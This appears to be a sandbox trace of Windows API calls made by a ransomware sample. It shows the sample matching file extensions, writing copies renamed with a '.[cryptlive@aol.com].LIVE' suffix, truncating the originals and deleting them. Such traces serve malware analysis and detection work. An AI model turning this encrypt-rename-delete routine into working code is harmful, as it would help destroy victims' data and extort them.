lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.830] lstrlenW (lpString=".jpg") returned 4 [0037.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.830] lstrlenW (lpString=".doc") returned 4 [0037.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".docx") returned 5 [0037.830] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.830] lstrlenW (lpString=".pdf") returned 4 [0037.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".xls") returned 4 [0037.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".xlsx") returned 5 [0037.830] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.830] lstrlenW (lpString=".ppt") returned 4 [0037.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.831] lstrlenW (lpString=".zip") returned 4 [0037.831] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.831] lstrlenW (lpString=".rar") returned 4 [0037.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".bz2") returned 4 [0037.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString=".7z") returned 3 [0037.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.831] lstrlenW (lpString=".dbf") returned 4 [0037.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.831] lstrlenW (lpString=".1cd") returned 4 [0037.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.831] lstrlenW (lpString=".jpg") returned 4 [0037.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.831] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.831] lstrlenW (lpString="Office32MUI.xml") returned 15 [0037.831] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0038.035] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1383) returned 1 [0038.035] CloseHandle (hObject=0x174) returned 1 [0038.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0038.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0038.036] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.036] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0038.426] GetLastError () returned 0x0 [0038.426] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x567, lpOverlapped=0x0) returned 1 [0038.598] WriteFile (in: hFile=0x198, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0038.600] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.600] WriteFile (in: hFile=0x198, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0038.600] SetEndOfFile (hFile=0x198) returned 1 [0038.600] CloseHandle (hObject=0x198) returned 1 [0038.601] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.601] SetEndOfFile (hFile=0x174) returned 1 [0038.602] CloseHandle (hObject=0x174) returned 1 [0038.602] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.602] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0038.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.603] lstrlenW (lpString=".doc") returned 4 [0038.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.603] lstrlenW (lpString=".docx") returned 5 [0038.603] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.603] lstrlenW (lpString=".pdf") returned 4 [0038.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.603] lstrlenW (lpString=".xls") returned 4 [0038.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.603] lstrlenW (lpString=".xlsx") returned 5 [0038.603] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.603] lstrlenW (lpString=".ppt") returned 4 [0038.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.603] lstrlenW (lpString=".zip") returned 4 [0038.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.603] lstrlenW (lpString=".rar") returned 4 [0038.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.603] lstrlenW (lpString=".bz2") returned 4 [0038.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.603] lstrlenW (lpString=".7z") returned 3 [0038.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.604] lstrlenW (lpString=".dbf") returned 4 [0038.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.604] lstrlenW (lpString=".1cd") returned 4 [0038.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.604] lstrlenW (lpString=".jpg") returned 4 [0038.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.604] lstrlenW (lpString=".doc") returned 4 [0038.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString=".docx") returned 5 [0038.604] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.604] lstrlenW (lpString=".pdf") returned 4 [0038.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString=".xls") returned 4 [0038.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString=".xlsx") returned 5 [0038.604] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.604] lstrlenW (lpString=".ppt") returned 4 [0038.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.604] lstrlenW (lpString=".zip") returned 4 [0038.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.604] lstrlenW (lpString=".rar") returned 4 [0038.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.605] lstrlenW (lpString=".bz2") returned 4 [0038.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.605] lstrlenW (lpString=".7z") returned 3 [0038.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.605] lstrlenW (lpString=".dbf") returned 4 [0038.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.605] lstrlenW (lpString=".1cd") returned 4 [0038.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0038.605] lstrlenW (lpString=".jpg") returned 4 [0038.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.605] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.605] lstrlenW (lpString="VisioMUI.xml") returned 12 [0038.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0038.605] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=9503) returned 1 [0038.606] CloseHandle (hObject=0x174) returned 1 [0038.606] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0038.606] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.606] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0038.606] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.606] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.606] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0038.606] GetLastError () returned 0x0 [0038.606] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x251f, lpOverlapped=0x0) returned 1 [0038.802] WriteFile (in: hFile=0x198, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0038.803] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.803] WriteFile (in: hFile=0x198, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.803] SetEndOfFile (hFile=0x198) returned 1 [0038.803] CloseHandle (hObject=0x198) returned 1 [0038.804] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.804] SetEndOfFile (hFile=0x174) returned 1 [0038.805] CloseHandle (hObject=0x174) returned 1 [0038.805] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.805] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString=".doc") returned 4 [0038.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString=".docx") returned 5 [0038.806] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.806] lstrlenW (lpString=".pdf") returned 4 [0038.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString=".xls") returned 4 [0038.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString=".xlsx") returned 5 [0038.806] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.806] lstrlenW (lpString=".ppt") returned 4 [0038.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString=".zip") returned 4 [0038.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.806] lstrlenW (lpString=".rar") returned 4 [0038.806] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString=".bz2") returned 4 [0038.806] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString=".7z") returned 3 [0038.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString=".dbf") returned 4 [0038.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString=".1cd") returned 4 [0038.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString=".jpg") returned 4 [0038.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.806] lstrlenW (lpString=".doc") returned 4 [0038.807] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString=".docx") returned 5 [0038.807] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.807] lstrlenW (lpString=".pdf") returned 4 [0038.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString=".xls") returned 4 [0038.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString=".xlsx") returned 5 [0038.807] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.807] lstrlenW (lpString=".ppt") returned 4 [0038.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.807] lstrlenW (lpString=".zip") returned 4 [0038.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.807] lstrlenW (lpString=".rar") returned 4 [0038.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString=".bz2") returned 4 [0038.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString=".7z") returned 3 [0038.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.807] lstrlenW (lpString=".dbf") returned 4 [0038.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.807] lstrlenW (lpString=".1cd") returned 4 [0038.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.807] lstrlenW (lpString=".jpg") returned 4 [0038.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.807] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.807] lstrlenW (lpString="Setup.xml") returned 9 [0038.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.893] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1988) returned 1 [0038.893] CloseHandle (hObject=0x1a4) returned 1 [0038.894] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.894] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.894] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0038.894] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.894] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.894] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0038.894] GetLastError () returned 0x0 [0038.894] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0038.937] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0038.938] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.938] WriteFile (in: hFile=0x1a8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.938] SetEndOfFile (hFile=0x1a8) returned 1 [0038.939] CloseHandle (hObject=0x1a8) returned 1 [0038.939] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.939] SetEndOfFile (hFile=0x1a4) returned 1 [0038.941] CloseHandle (hObject=0x1a4) returned 1 [0038.941] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.941] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.941] lstrlenW (lpString=".doc") returned 4 [0038.941] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.941] lstrlenW (lpString=".docx") returned 5 [0038.941] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.941] lstrlenW (lpString=".pdf") returned 4 [0038.941] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString=".xls") returned 4 [0038.942] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString=".xlsx") returned 5 [0038.942] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.942] lstrlenW (lpString=".ppt") returned 4 [0038.942] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.942] lstrlenW (lpString=".zip") returned 4 [0038.942] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.942] lstrlenW (lpString=".rar") returned 4 [0038.942] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString=".bz2") returned 4 [0038.942] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.942] lstrlenW (lpString=".7z") returned 3 [0038.942] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 